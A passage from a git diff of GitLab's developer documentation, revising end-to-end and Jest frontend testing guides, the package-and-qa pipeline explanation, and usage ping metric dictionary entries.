+refresh # refresh the page + +send_keys([:shift, 'i']) # press Shift+I keys to go to the Issues dashboard page + +current_window.resize_to(1000, 1000) # resize the window + +scroll_to(find_field('Comment')) # scroll to an element +``` + +You can also find a number of GitLab custom helpers in the `spec/support/helpers/` directory. #### Live debug +Sometimes you may need to debug Capybara tests by observing browser behavior. + You can pause Capybara and view the website on the browser by using the `live_debug` method in your spec. The current page is automatically opened in your default browser. diff --git a/doc/development/testing_guide/end_to_end/beginners_guide.md b/doc/development/testing_guide/end_to_end/beginners_guide.md index d60b780eeea..29f6c93d65a 100644 --- a/doc/development/testing_guide/end_to_end/beginners_guide.md +++ b/doc/development/testing_guide/end_to_end/beginners_guide.md @@ -332,12 +332,13 @@ can see it. ## Run the spec -Before running the spec, confirm: +Before running the spec, make sure that: -- The GDK is installed. -- The GDK is running on port 3000 locally. +- GDK is installed. +- GDK is running locally on port 3000. - No additional [RSpec metadata tags](rspec_metadata_tests.md) have been applied. - Your working directory is `qa/` within your GDK GitLab installation. +- Your GitLab instance-level settings are default. If you changed the default settings, some tests might have unexpected results. To run the spec, run the following command: diff --git a/doc/development/testing_guide/end_to_end/best_practices.md b/doc/development/testing_guide/end_to_end/best_practices.md index 2b4212a0172..15520d8a6b1 100644 --- a/doc/development/testing_guide/end_to_end/best_practices.md +++ b/doc/development/testing_guide/end_to_end/best_practices.md @@ -223,6 +223,15 @@ In summary: - **Do**: Split tests across separate files, unless the tests share expensive setup. - **Don't**: Put new tests in an existing file without considering the impact on parallelization. +## `let` variables vs instance variables + +By default, follow the [testing best practices](../best_practices.md#subject-and-let-variables) when using `let` +or instance variables. However, in end-to-end tests, set-ups such as creating resources are expensive. +If you use `let` to store a resource, it will be created for each example separately. +If the resource can be shared among multiple examples, use an instance variable in the `before(:all)` +block instead of `let` to save run time. +When the variable cannot be shared by multiple examples, use `let`. + ## Limit the use of the UI in `before(:context)` and `after` hooks Limit the use of `before(:context)` hooks to perform setup tasks with only API calls, diff --git a/doc/development/testing_guide/end_to_end/index.md b/doc/development/testing_guide/end_to_end/index.md index d981f9bcbba..e6da4771e55 100644 --- a/doc/development/testing_guide/end_to_end/index.md +++ b/doc/development/testing_guide/end_to_end/index.md @@ -22,13 +22,13 @@ a black-box testing framework for the API and the UI. ### Testing nightly builds We run scheduled pipelines each night to test nightly builds created by Omnibus. -You can find these nightly pipelines at `https://gitlab.com/gitlab-org/quality/nightly/pipelines` +You can find these pipelines at <https://gitlab.com/gitlab-org/quality/nightly/pipelines> (need Developer access permissions). Results are reported in the `#qa-nightly` Slack channel. ### Testing staging We run scheduled pipelines each night to test staging. -You can find these nightly pipelines at `https://gitlab.com/gitlab-org/quality/staging/pipelines` +You can find these pipelines at <https://gitlab.com/gitlab-org/quality/staging/pipelines> (need Developer access permissions). Results are reported in the `#qa-staging` Slack channel. ### Testing code in merge requests @@ -36,64 +36,76 @@ You can find these nightly pipelines at `https://gitlab.com/gitlab-org/quality/s #### Using the `package-and-qa` job It is possible to run end-to-end tests for a merge request, eventually being run in -a pipeline in the [`gitlab-qa-mirror`](https://gitlab.com/gitlab-org/gitlab-qa-mirror/) project, -by triggering the `package-and-qa` manual action in the `test` stage (not +a pipeline in the [`gitlab-org/gitlab-qa-mirror`](https://gitlab.com/gitlab-org/gitlab-qa-mirror) project, +by triggering the `package-and-qa` manual action in the `qa` stage (not available for forks). -**This runs end-to-end tests against a custom CE and EE (with an Ultimate license) -Omnibus package built from your merge request's changes.** +**This runs end-to-end tests against a custom EE (with an Ultimate license) +Docker image built from your merge request's changes.** -Manual action that starts end-to-end tests is also available in merge requests -in [Omnibus GitLab](https://gitlab.com/gitlab-org/omnibus-gitlab). - -Below you can read more about how to use it and how does it work. +Manual action that starts end-to-end tests is also available +in [`gitlab-org/omnibus-gitlab` merge requests](https://docs.gitlab.com/omnibus/build/team_member_docs.html#i-have-an-mr-in-the-omnibus-gitlab-project-and-want-a-package-or-docker-image-to-test-it). #### How does it work? -Currently, we are using _multi-project pipeline_-like approach to run QA +Currently, we are using _multi-project pipeline_-like approach to run end-to-end pipelines. ```mermaid -graph LR - A1 -.->|1. Triggers an omnibus-gitlab-mirror pipeline and wait for it to be done| A2 - B2[`Trigger-qa` stage<br>`Trigger:qa-test` job] -.->|2. Triggers a gitlab-qa-mirror pipeline and wait for it to be done| A3 - -subgraph "gitlab-foss/gitlab pipeline" - A1[`test` stage<br>`package-and-qa` job] +graph TB + A1 -.->|once done, can be triggered| A2 + A2 -.->|1. Triggers an `omnibus-gitlab-mirror` pipeline<br>and wait for it to be done| B1 + B2[`Trigger-qa` stage<br>`Trigger:qa-test` job] -.->|2. Triggers a `gitlab-qa-mirror` pipeline<br>and wait for it to be done| C1 + +subgraph "`gitlab-org/gitlab` pipeline" + A1[`build-images` stage<br>`build-qa-image` and `build-assets-image` jobs] + A2[`qa` stage<br>`package-and-qa` job] end -subgraph "omnibus-gitlab pipeline" - A2[`Trigger-docker` stage<br>`Trigger:gitlab-docker` job] -->|once done| B2 +subgraph "`gitlab-org/build/omnibus-gitlab-mirror` pipeline" + B1[`Trigger-docker` stage<br>`Trigger:gitlab-docker` job] -->|once done| B2 end -subgraph "gitlab-qa-mirror pipeline" - A3>QA jobs run] -.->|3. Reports back the pipeline result to the `package-and-qa` job<br>and post the result on the original commit tested| A1 +subgraph "`gitlab-org/gitlab-qa-mirror` pipeline" + C1>End-to-end jobs run] end ``` -1. Developer triggers a manual action, that can be found in GitLab merge - requests. This starts a chain of pipelines in multiple projects. - -1. The script being executed triggers a pipeline in - [Omnibus GitLab Mirror](https://gitlab.com/gitlab-org/build/omnibus-gitlab-mirror) - and waits for the resulting status. We call this a _status attribution_. - -1. GitLab packages are being built in the [Omnibus GitLab Mirror](https://gitlab.com/gitlab-org/build/omnibus-gitlab-mirror) - pipeline. Packages are then pushed to its Container Registry. +1. In the [`gitlab-org/gitlab` pipeline](https://gitlab.com/gitlab-org/gitlab): + 1. Developer triggers the `package-and-qa` manual action (available once the `build-qa-image` and + `build-assets-image` jobs are done), that can be found in GitLab merge + requests. This starts a chain of pipelines in multiple projects. + 1. The script being executed triggers a pipeline in + [`gitlab-org/build/omnibus-gitlab-mirror`](https://gitlab.com/gitlab-org/build/omnibus-gitlab-mirror) + and polls for the resulting status. We call this a _status attribution_. -1. When packages are ready, and available in the registry, a final step in the - [Omnibus GitLab Mirror](https://gitlab.com/gitlab-org/build/omnibus-gitlab-mirror) pipeline, triggers a new - GitLab QA pipeline (those with access can view them at `https://gitlab.com/gitlab-org/gitlab-qa-mirror/pipelines`). It also waits for a resulting status. +1. In the [`gitlab-org/build/omnibus-gitlab-mirror` pipeline](https://gitlab.com/gitlab-org/build/omnibus-gitlab-mirror): + 1. Docker image is being built and pushed to its Container Registry. + 1. Finally, the `Trigger:qa-test` job triggers a new end-to-end pipeline in + [`gitlab-org/gitlab-qa-mirror`](https://gitlab.com/gitlab-org/gitlab-qa-mirror/pipelines) and polls for the resulting status. -1. GitLab QA pulls images from the registry, spins-up containers and runs tests - against a test environment that has been just orchestrated by the `gitlab-qa` - tool. +1. In the [`gitlab-org/gitlab-qa-mirror` pipeline](https://gitlab.com/gitlab-org/gitlab-qa-mirror): + 1. Container for the Docker image stored in the [`gitlab-org/build/omnibus-gitlab-mirror`](https://gitlab.com/gitlab-org/build/omnibus-gitlab-mirror) registry is spun-up. + 1. End-to-end tests are run with the `gitlab-qa` executable, which spin up a container for the end-to-end image from the [`gitlab-org/gitlab`](https://gitlab.com/gitlab-org/gitlab) registry. -1. The result of the GitLab QA pipeline is being - propagated upstream, through Omnibus, back to the GitLab merge request. +1. The result of the [`gitlab-org/gitlab-qa-mirror` pipeline](https://gitlab.com/gitlab-org/gitlab-qa-mirror) is being + propagated upstream (through polling from upstream pipelines), through [`gitlab-org/build/omnibus-gitlab-mirror`](https://gitlab.com/gitlab-org/build/omnibus-gitlab-mirror), back to the [`gitlab-org/gitlab`](https://gitlab.com/gitlab-org/gitlab) merge request. Please note, we plan to [add more specific information](https://gitlab.com/gitlab-org/quality/team-tasks/-/issues/156) -about the tests included in each job/scenario that runs in `gitlab-qa-mirror`. +about the tests included in each job/scenario that runs in `gitlab-org/gitlab-qa-mirror`. + +NOTE: +You may have noticed that we use `gitlab-org/build/omnibus-gitlab-mirror` instead of +`gitlab-org/omnibus-gitlab`, and `gitlab-org/gitlab-qa-mirror` instead of `gitlab-org/gitlab-qa`. +This is due to technical limitations in the GitLab permission model: the ability to run a pipeline +against a protected branch is controlled by the ability to push/merge to this branch. +This means that for developers to be able to trigger a pipeline for the default branch in +`gitlab-org/omnibus-gitlab`/`gitlab-org/gitlab-qa`, they would need to have Maintainer permission in those projects. +For security reasons and implications, we couldn't open up the default branch to all the Developers. +Hence we created these mirrors where Developers and Maintainers are allowed to push/merge to the default branch. +This problem was discovered in <https://gitlab.com/gitlab-org/gitlab-qa/-/issues/63#note_107175160> and the "mirror" +work-around was suggested in <https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/4717>. +A feature proposal to segregate access control regarding running pipelines from ability to push/merge was also created at <https://gitlab.com/gitlab-org/gitlab/-/issues/24585>. #### With Pipeline for Merged Results @@ -160,9 +172,9 @@ See [Review Apps](../review_apps.md) for more details about Review Apps. ## How do I run the tests? If you are not [testing code in a merge request](#testing-code-in-merge-requests), -there are two main options for running the tests. If you simply want to run -the existing tests against a live GitLab instance or against a pre-built Docker image -you can use the [GitLab QA orchestrator](https://gitlab.com/gitlab-org/gitlab-qa/tree/master/README.md). See also [examples +there are two main options for running the tests. If you want to run +the existing tests against a live GitLab instance or against a pre-built Docker image, +use the [GitLab QA orchestrator](https://gitlab.com/gitlab-org/gitlab-qa/tree/master/README.md). See also [examples of the test scenarios you can run via the orchestrator](https://gitlab.com/gitlab-org/gitlab-qa/blob/master/docs/what_tests_can_be_run.md#examples). On the other hand, if you would like to run against a local development GitLab diff --git a/doc/development/testing_guide/end_to_end/style_guide.md b/doc/development/testing_guide/end_to_end/style_guide.md index f9c13d5dd67..22ddae6e836 100644 --- a/doc/development/testing_guide/end_to_end/style_guide.md +++ b/doc/development/testing_guide/end_to_end/style_guide.md @@ -122,7 +122,7 @@ avoid confusion or make the code more readable. For example, if a page object is named `New`, it could be confusing to name the block argument `new` because that is used to instantiate objects, so `new_page` would be acceptable. -We chose not to simply use `page` because that would shadow the +We chose not to use `page` because that would shadow the Capybara DSL, potentially leading to confusion and bugs. ### Examples diff --git a/doc/development/testing_guide/flaky_tests.md b/doc/development/testing_guide/flaky_tests.md index 126d8725c21..a9af8f03d63 100644 --- a/doc/development/testing_guide/flaky_tests.md +++ b/doc/development/testing_guide/flaky_tests.md @@ -108,7 +108,7 @@ For instance `RETRIES=1 bin/rspec ...` would retry the failing examples once. #### PhantomJS / WebKit related issues -- Memory is through the roof! (TL;DR: Load images but block images requests!): <https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/12003> +- Memory is through the roof! (Load images but block images requests!): <https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/12003> #### Capybara expectation times out diff --git a/doc/development/testing_guide/frontend_testing.md b/doc/development/testing_guide/frontend_testing.md index 9facca10142..7289e66a045 100644 --- a/doc/development/testing_guide/frontend_testing.md +++ b/doc/development/testing_guide/frontend_testing.md @@ -55,8 +55,8 @@ which have to be stubbed. - Because Jest runs in a Node.js environment, it uses [jsdom](https://github.com/jsdom/jsdom) by default. See also its [limitations](#limitations-of-jsdom) below. - Jest does not have access to Webpack loaders or aliases. The aliases used by Jest are defined in its [own configuration](https://gitlab.com/gitlab-org/gitlab/blob/master/jest.config.js). -- All calls to `setTimeout` and `setInterval` are mocked away. See also [Jest Timer Mocks](https://jestjs.io/docs/en/timer-mocks). -- `rewire` is not required because Jest supports mocking modules. See also [Manual Mocks](https://jestjs.io/docs/en/manual-mocks). +- All calls to `setTimeout` and `setInterval` are mocked away. See also [Jest Timer Mocks](https://jestjs.io/docs/timer-mocks). +- `rewire` is not required because Jest supports mocking modules. See also [Manual Mocks](https://jestjs.io/docs/manual-mocks). - No [context object](https://jasmine.github.io/tutorials/your_first_suite#section-The_%3Ccode%3Ethis%3C/code%3E_keyword) is passed to tests in Jest. This means sharing `this.something` between `beforeEach()` and `it()` for example does not work. Instead you should declare shared variables in the context that they are needed (via `const` / `let`). @@ -78,7 +78,7 @@ See also the issue for [support running Jest tests in browsers](https://gitlab.c ### Debugging Jest tests -Running `yarn jest-debug` runs Jest in debug mode, allowing you to debug/inspect as described in the [Jest docs](https://jestjs.io/docs/en/troubleshooting#tests-are-failing-and-you-don-t-know-why). +Running `yarn jest-debug` runs Jest in debug mode, allowing you to debug/inspect as described in the [Jest docs](https://jestjs.io/docs/troubleshooting#tests-are-failing-and-you-don-t-know-why). ### Timeout error @@ -104,6 +104,15 @@ describe('Component', () => { Remember that the performance of each test depends on the environment. +### Test-specific stylesheets + +To help facilitate RSpec integration tests we have two test-specific stylesheets. These can be used to do things like disable animations to improve test speed, or to make elements visible when they need to be targeted by Capybara click events: + +- `app/assets/stylesheets/disable_animations.scss` +- `app/assets/stylesheets/test_environment.scss` + +Because the test environment should match the production environment as much as possible, use these minimally and only add to them when necessary. + ## What and how to test Before jumping into more gritty details about Jest-specific workflows like mocks and spies, we should briefly cover what to test with Jest. @@ -212,8 +221,8 @@ When it comes to querying DOM elements in your tests, it is best to uniquely and the element. Preferentially, this is done by targeting what the user actually sees using [DOM Testing Library](https://testing-library.com/docs/dom-testing-library/intro/). -When selecting by text it is best to use [`getByRole` or `findByRole`](https://testing-library.com/docs/queries/byrole/) -as these enforce accessibility best practices as well. The examples below demonstrate the order of preference. +When selecting by text it is best to use the [`byRole`](https://testing-library.com/docs/queries/byrole) query +as it helps enforce accessibility best practices. `findByRole` and the other [DOM Testing Library queries](https://testing-library.com/docs/queries/about) are available when using [`shallowMountExtended` or `mountExtended`](#shallowmountextended-and-mountextended). When writing Vue component unit tests, it can be wise to query children by component, so that the unit test can focus on comprehensive value coverage rather than dealing with the complexity of a child component's behavior. @@ -223,25 +232,27 @@ possible selectors include: - A semantic attribute like `name` (also verifies that `name` was setup properly) - A `data-testid` attribute ([recommended by maintainers of `@vue/test-utils`](https://github.com/vuejs/vue-test-utils/issues/1498#issuecomment-610133465)) - optionally combined with [`findByTestId`](#extendedwrapper-and-findbytestid) + optionally combined with [`shallowMountExtended` or `mountExtended`](#shallowmountextended-and-mountextended) - a Vue `ref` (if using `@vue/test-utils`) ```javascript -import { getByRole, getByText } from '@testing-library/dom' +import { shallowMountExtended } from 'helpers/vue_test_utils_helper' + +const wrapper = shallowMountExtended(ExampleComponent); // In this example, `wrapper` is a `@vue/test-utils` wrapper returned from `mount` or `shallowMount`. it('exists', () => { // Best (especially for integration tests) - getByRole(wrapper.element, 'link', { name: /Click Me/i }) - getByRole(wrapper.element, 'link', { name: 'Click Me' }) - getByText(wrapper.element, 'Click Me') - getByText(wrapper.element, /Click Me/i) + wrapper.findByRole('link', { name: /Click Me/i }) + wrapper.findByRole('link', { name: 'Click Me' }) + wrapper.findByText('Click Me') + wrapper.findByText(/Click Me/i) // Good (especially for unit tests) wrapper.find(FooComponent); wrapper.find('input[name=foo]'); wrapper.find('[data-testid="my-foo-id"]'); - wrapper.findByTestId('my-foo-id'); // with the extendedWrapper utility – check below + wrapper.findByTestId('my-foo-id'); // with shallowMountExtended or mountExtended – check below wrapper.find({ ref: 'foo'}); // Bad @@ -376,7 +387,7 @@ Sometimes we have to test time-sensitive code. For example, recurring events tha If the application itself is waiting for some time, mock await the waiting. In Jest this is already [done by default](https://gitlab.com/gitlab-org/gitlab/blob/a2128edfee799e49a8732bfa235e2c5e14949c68/jest.config.js#L47) -(see also [Jest Timer Mocks](https://jestjs.io/docs/en/timer-mocks)). In Karma you can use the +(see also [Jest Timer Mocks](https://jestjs.io/docs/timer-mocks)). In Karma you can use the [Jasmine mock clock](https://jasmine.github.io/api/2.9/Clock.html). ```javascript @@ -564,9 +575,9 @@ This is however not entirely true as the `destroy` method does not remove everyt #### Prefer `toBe` over `toEqual` when comparing primitive values -Jest has [`toBe`](https://jestjs.io/docs/en/expect#tobevalue) and -[`toEqual`](https://jestjs.io/docs/en/expect#toequalvalue) matchers. -As [`toBe`](https://jestjs.io/docs/en/expect#tobevalue) uses +Jest has [`toBe`](https://jestjs.io/docs/expect#tobevalue) and +[`toEqual`](https://jestjs.io/docs/expect#toequalvalue) matchers. +As [`toBe`](https://jestjs.io/docs/expect#tobevalue) uses [`Object.is`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is) to compare values, it's faster (by default) than using `toEqual`. While the latter eventually falls back to leverage [`Object.is`](https://github.com/facebook/jest/blob/master/packages/expect/src/jasmineUtils.ts#L91), @@ -588,7 +599,7 @@ expect(foo).toBe(1); Jest provides useful matchers like `toHaveLength` or `toBeUndefined` to make your tests more readable and to produce more understandable error messages. Check their docs for the -[full list of matchers](https://jestjs.io/docs/en/expect#methods). +[full list of matchers](https://jestjs.io/docs/expect#methods). Examples: @@ -719,7 +730,7 @@ TBU Jasmine provides stubbing and mocking capabilities. There are some subtle differences in how to use it within Karma and Jest. Stubs or spies are often used synonymously. In Jest it's quite easy thanks to the `.spyOn` method. -[Official docs](https://jestjs.io/docs/en/jest-object#jestspyonobject-methodname) +[Official docs](https://jestjs.io/docs/jest-object#jestspyonobject-methodname) The more challenging part are mocks, which can be used for functions or even dependencies. ### Manual module mocks @@ -728,12 +739,12 @@ Manual mocks are used to mock modules across the entire Jest environment. This i unit testing by mocking out modules which cannot be easily consumed in our test environment. > **WARNING:** Do not use manual mocks if a mock should not be consistently applied in every spec (i.e. it's only needed by a few specs). -> Instead, consider using [`jest.mock(..)`](https://jestjs.io/docs/en/jest-object#jestmockmodulename-factory-options) +> Instead, consider using [`jest.mock(..)`](https://jestjs.io/docs/jest-object#jestmockmodulename-factory-options) > (or a similar mocking function) in the relevant spec file. #### Where should I put manual mocks? -Jest supports [manual module mocks](https://jestjs.io/docs/en/manual-mocks) by placing a mock in a `__mocks__/` directory next to the source module +Jest supports [manual module mocks](https://jestjs.io/docs/manual-mocks) by placing a mock in a `__mocks__/` directory next to the source module (e.g. `app/assets/javascripts/ide/__mocks__`). **Don't do this.** We want to keep all of our test-related code in one place (the `spec/` folder). If a manual mock is needed for a `node_modules` package, use the `spec/frontend/__mocks__` folder. Here's an example of @@ -755,7 +766,7 @@ If a manual mock is needed for a CE module, place it in `spec/frontend/mocks/ce` any behavior, only provides a nice es6 compatible wrapper. - [`__mocks__/monaco-editor/index.js`](https://gitlab.com/gitlab-org/gitlab/blob/b7f914cddec9fc5971238cdf12766e79fa1629d7/spec/frontend/__mocks__/monaco-editor/index.js) - This mock is helpful because the Monaco package is completely incompatible in a Jest environment. In fact, webpack requires a special loader to make it work. This mock - simply makes this package consumable by Jest. + makes this package consumable by Jest. ### Keep mocks light @@ -766,7 +777,7 @@ Global mocks introduce magic and technically can reduce test coverage. When mock ### Additional mocking techniques -Consult the [official Jest docs](https://jestjs.io/docs/en/jest-object#mock-modules) for a full overview of the available mocking features. +Consult the [official Jest docs](https://jestjs.io/docs/jest-object#mock-modules) for a full overview of the available mocking features. ## Running Frontend Tests @@ -939,8 +950,8 @@ it('uses some HTML element', () => { Similar to [RSpec's parameterized tests](best_practices.md#table-based--parameterized-tests), Jest supports data-driven tests for: -- Individual tests using [`test.each`](https://jestjs.io/docs/en/api#testeachtable-name-fn-timeout) (aliased to `it.each`). -- Groups of tests using [`describe.each`](https://jestjs.io/docs/en/api#describeeachtable-name-fn-timeout). +- Individual tests using [`test.each`](https://jestjs.io/docs/api#testeachtable-name-fn-timeout) (aliased to `it.each`). +- Groups of tests using [`describe.each`](https://jestjs.io/docs/api#describeeachtable-name-fn-timeout). These can be useful for reducing repetition within tests. Each option can take an array of data values or a tagged template literal. @@ -1138,23 +1149,40 @@ These are very useful if you don't have a handle to the request's Promise, for e Both functions run `callback` on the next tick after the requests finish (using `setImmediate()`), to allow any `.then()` or `.catch()` handlers to run. -### `extendedWrapper` and `findByTestId` +### `shallowMountExtended` and `mountExtended` -Using `data-testid` is one of the [recommended ways to query DOM elements](#how-to-query-dom-elements). -You can use the `extendedWrapper` utility on the `wrapper` returned by `shalowMount`/`mount`. -By doing so, the `wrapper` provides you with the ability to perform a `findByTestId`, -which is a shortcut to the more verbose `wrapper.find('[data-testid="my-test-id"]');` +The `shallowMountExtended` and `mountExtended` utilities provide you with the ability to perform +any of the available [DOM Testing Library queries](https://testing-library.com/docs/queries/about) +by prefixing them with `find` or `findAll`. ```javascript -import { extendedWrapper } from 'helpers/vue_test_utils_helper'; +import { shallowMountExtended } from 'helpers/vue_test_utils_helper'; describe('FooComponent', () => { - const wrapper = extendedWrapper(shallowMount({ - template: `<div data-testid="my-test-id"></div>`, - })); + const wrapper = shallowMountExtended({ + template: ` + <div data-testid="gitlab-frontend-stack"> + <p>GitLab frontend stack</p> + <div role="tablist"> + <button role="tab" aria-selected="true">Vue.js</button> + <button role="tab" aria-selected="false">GraphQL</button> + <button role="tab" aria-selected="false">SCSS</button> + </div> + </div> + `, + }); + + it('finds elements with `findByTestId`', () => { + expect(wrapper.findByTestId('gitlab-frontend-stack').exists()).toBe(true); + }); + + it('finds elements with `findByText`', () => { + expect(wrapper.findByText('GitLab frontend stack').exists()).toBe(true); + expect(wrapper.findByText('TypeScript').exists()).toBe(false); + }); - it('exists', () => { - expect(wrapper.findByTestId('my-test-id').exists()).toBe(true); + it('finds elements with `findAllByRole`', () => { + expect(wrapper.findAllByRole('tab').length).toBe(3); }); }); ``` @@ -1189,7 +1217,7 @@ You can download any older version of Firefox from the releases FTP server, <htt ## Snapshots -By now you've probably heard of [Jest snapshot tests](https://jestjs.io/docs/en/snapshot-testing) and why they are useful for various reasons. +By now you've probably heard of [Jest snapshot tests](https://jestjs.io/docs/snapshot-testing) and why they are useful for various reasons. To use them within GitLab, there are a few guidelines that should be highlighted: - Treat snapshots as code @@ -1199,7 +1227,7 @@ To use them within GitLab, there are a few guidelines that should be highlighted Think of a snapshot test as a simple way to store a raw `String` representation of what you've put into the item being tested. This can be used to evaluate changes in a component, a store, a complex piece of generated output, etc. You can see more in the list below for some recommended `Do's and Don'ts`. While snapshot tests can be a very powerful tool. They are meant to supplement, not to replace unit tests. -Jest provides a great set of docs on [best practices](https://jestjs.io/docs/en/snapshot-testing#best-practices) that we should keep in mind when creating snapshots. +Jest provides a great set of docs on [best practices](https://jestjs.io/docs/snapshot-testing#best-practices) that we should keep in mind when creating snapshots. ### How does a snapshot work? @@ -1207,7 +1235,7 @@ A snapshot is purely a stringified version of what you ask to be tested on the l Should the outcome of your spec be different from what is in the generated snapshot file, you'll be notified about it by a failing test in your test suite. -Find all the details in Jests official documentation [https://jestjs.io/docs/en/snapshot-testing](https://jestjs.io/docs/en/snapshot-testing) +Find all the details in Jests official documentation [https://jestjs.io/docs/snapshot-testing](https://jestjs.io/docs/snapshot-testing) ### How to take a snapshot diff --git a/doc/development/transient/prevention-patterns.md b/doc/development/transient/prevention-patterns.md index 2bfd188fd43..472b5756805 100644 --- a/doc/development/transient/prevention-patterns.md +++ b/doc/development/transient/prevention-patterns.md @@ -55,12 +55,12 @@ Including when that expanded content is: ### Using assertions to detect transient bugs caused by unmet conditions Transient bugs happen in the context of code that executes under the assumption -that the application’s state meets one or more conditions. We may write a feature +that the application's state meets one or more conditions. We may write a feature that assumes a server-side API response always include a group of attributes or that an operation only executes when the application has successfully transitioned to a new state. -Transient bugs are difficult to debug because there isn’t any mechanism that alerts +Transient bugs are difficult to debug because there isn't any mechanism that alerts the user or the developer about unsatisfied conditions. These conditions are usually not expressed explicitly in the code. A useful debugging technique for such situations is placing assertions to make any assumption explicit. They can help detect the cause diff --git a/doc/development/understanding_explain_plans.md b/doc/development/understanding_explain_plans.md index 3f596e89e29..e0176c190d6 100644 --- a/doc/development/understanding_explain_plans.md +++ b/doc/development/understanding_explain_plans.md @@ -280,7 +280,7 @@ FROM users WHERE twitter != ''; ``` -This query simply counts the number of users that have a Twitter profile set. +This query counts the number of users that have a Twitter profile set. Let's run this using `EXPLAIN (ANALYZE, BUFFERS)`: ```sql @@ -388,7 +388,7 @@ we created the index: CREATE INDEX CONCURRENTLY twitter_test ON users (twitter); ``` -We simply told PostgreSQL to index all possible values of the `twitter` column, +We told PostgreSQL to index all possible values of the `twitter` column, even empty strings. Our query in turn uses `WHERE twitter != ''`. This means that the index does improve things, as we don't need to do a sequential scan, but we may still encounter empty strings. This means PostgreSQL _has_ to apply a diff --git a/doc/development/usage_ping/dictionary.md b/doc/development/usage_ping/dictionary.md index c0e9aa82247..cb53d088907 100644 --- a/doc/development/usage_ping/dictionary.md +++ b/doc/development/usage_ping/dictionary.md @@ -430,15 +430,15 @@ Tiers: `free` ### `counts.assignee_lists` -Missing description +Count of assignee lists created on Boards [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216181100_assignee_lists.yml) -Group: `group::plan` +Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `premium`, `ultimate` ### `counts.auto_devops_disabled` @@ -466,7 +466,7 @@ Tiers: `free` ### `counts.boards` -Missing description +Count of total Boards created [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181252_boards.yml) @@ -474,7 +474,7 @@ Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.ci_builds` @@ -790,15 +790,15 @@ Tiers: `free` ### `counts.confidential_epics` -Missing description +Count of confidential epics -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181205_confidential_epics.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216181205_confidential_epics.yml) -Group: `group::portfolio management` +Group: `group::product planning` Status: `data_available` -Tiers: `free` +Tiers: `premium`, `ultimate` ### `counts.container_scanning_jobs` @@ -962,7 +962,7 @@ Count of issues that are assigned to an epic [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216181208_epic_issues.yml) -Group: `group::portfolio management` +Group: `group::product planning` Status: `data_available` @@ -970,27 +970,27 @@ Tiers: `premium`, `ultimate` ### `counts.epics` -Missing description +Count of all epics -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181206_epics.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216181206_epics.yml) -Group: `group::portfolio management` +Group: `group::product planning` Status: `data_available` -Tiers: `free` +Tiers: `premium`, `ultimate` ### `counts.epics_deepest_relationship_level` -Missing description +Count of the deepest relationship level for epics [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216181212_epics_deepest_relationship_level.yml) -Group: `group::portfolio management` +Group: `group::product planning` Status: `data_available` -Tiers: +Tiers: `ultimate` ### `counts.failed_deployments` @@ -1028,18 +1028,6 @@ Status: `data_available` Tiers: `premium`, `ultimate` -### `counts.geo_node_usage.git_fetch_event_count_weekly` - -Number of Git fetch events from Prometheus on the Geo secondary - -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210309194425_git_fetch_event_count_weekly.yml) - -Group: `group::geo` - -Status: `implemented` - -Tiers: `premium`, `ultimate` - ### `counts.geo_nodes` Total number of sites in a Geo deployment @@ -2056,7 +2044,7 @@ Whether or not ModSecurity is set to blocking mode Group: `group::container security` -Status: `data_available` +Status: `deprecated` Tiers: `free`, `premium`, `ultimate` @@ -2068,7 +2056,7 @@ Whether or not ModSecurity is disabled within Ingress Group: `group::container security` -Status: `data_available` +Status: `deprecated` Tiers: `free`, `premium`, `ultimate` @@ -2080,7 +2068,7 @@ Whether or not ModSecurity is set to logging mode Group: `group::container security` -Status: `data_available` +Status: `deprecated` Tiers: `free`, `premium`, `ultimate` @@ -2092,7 +2080,7 @@ Whether or not ModSecurity has not been installed into the cluster Group: `group::container security` -Status: `data_available` +Status: `deprecated` Tiers: `free`, `premium`, `ultimate` @@ -2104,7 +2092,7 @@ Cumulative count of packets identified as anomalous by ModSecurity since Usage P Group: `group::container security` -Status: `data_available` +Status: `deprecated` Tiers: `free`, `premium`, `ultimate` @@ -2116,7 +2104,7 @@ Cumulative count of packets processed by ModSecurity since Usage Ping was last r Group: `group::container security` -Status: `data_available` +Status: `deprecated` Tiers: `free`, `premium`, `ultimate` @@ -2128,7 +2116,7 @@ Whether or not ModSecurity statistics are unavailable Group: `group::container security` -Status: `data_available` +Status: `deprecated` Tiers: `ultimate` @@ -2710,15 +2698,15 @@ Tiers: `free`, `premium`, `ultimate` ### `counts.issues_with_health_status` -Missing description +Count of issues with health status -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181210_issues_with_health_status.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216181210_issues_with_health_status.yml) -Group: `group::portfolio management` +Group: `group::product planning` Status: `data_available` -Tiers: `free` +Tiers: `ultimate` ### `counts.jira_imports_projects_count` @@ -2726,7 +2714,7 @@ Count of Projects that imported Issues from Jira [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181259_jira_imports_projects_count.yml) -Group: `group::project management` +Group: `group::ecosystem` Status: `data_available` @@ -2734,11 +2722,11 @@ Tiers: `free`, `premium`, `ultimate` ### `counts.jira_imports_total_imported_count` -Count of Issues imported from Jira +Count of Jira imports completed [YAML 